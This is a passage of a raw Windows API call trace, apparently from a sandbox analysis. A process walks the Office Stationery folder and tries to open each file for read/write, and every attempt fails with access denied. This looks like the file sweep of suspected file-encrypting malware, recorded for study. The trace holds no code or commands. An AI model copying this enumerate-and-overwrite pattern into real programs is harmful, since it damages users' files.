ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0171.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.196] GetLastError () returned 0x5 [0171.196] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0171.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.197] GetLastError () returned 0x5 [0171.197] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0171.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.197] GetLastError () returned 0x5 [0171.197] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0171.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.197] GetLastError () returned 0x5 [0171.197] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0171.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.198] GetLastError () returned 0x5 [0171.198] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0171.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.199] GetLastError () returned 0x5 [0171.199] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0171.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.200] GetLastError () returned 0x5 [0171.200] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0171.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.201] GetLastError () returned 0x5 [0171.201] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0171.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.201] GetLastError () returned 0x5 [0171.201] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0171.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.201] GetLastError () returned 0x5 [0171.201] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0171.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.202] GetLastError () returned 0x5 [0171.202] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0171.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.203] GetLastError () returned 0x5 [0171.203] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0171.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.203] GetLastError () returned 0x5 [0171.203] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0171.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.204] GetLastError () returned 0x5 [0171.204] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0171.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.205] GetLastError () returned 0x5 [0171.205] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0171.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.206] GetLastError () returned 0x5 [0171.206] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0171.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.206] GetLastError () returned 0x5 [0171.206] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0171.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.206] GetLastError () returned 0x5 [0171.206] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0171.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.207] GetLastError () returned 0x5 [0171.207] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0171.207] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.208] GetLastError () returned 0x5 [0171.208] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0171.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.209] GetLastError () returned 0x5 [0171.209] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0171.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.209] GetLastError () returned 0x5 [0171.209] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0171.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.210] GetLastError () returned 0x5 [0171.210] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0171.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.210] GetLastError () returned 0x5 [0171.210] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0171.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.211] GetLastError () returned 0x5 [0171.211] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0171.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.212] GetLastError () returned 0x5 [0171.212] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0171.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.212] GetLastError () returned 0x5 [0171.212] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0171.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.213] GetLastError () returned 0x5 [0171.213] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, 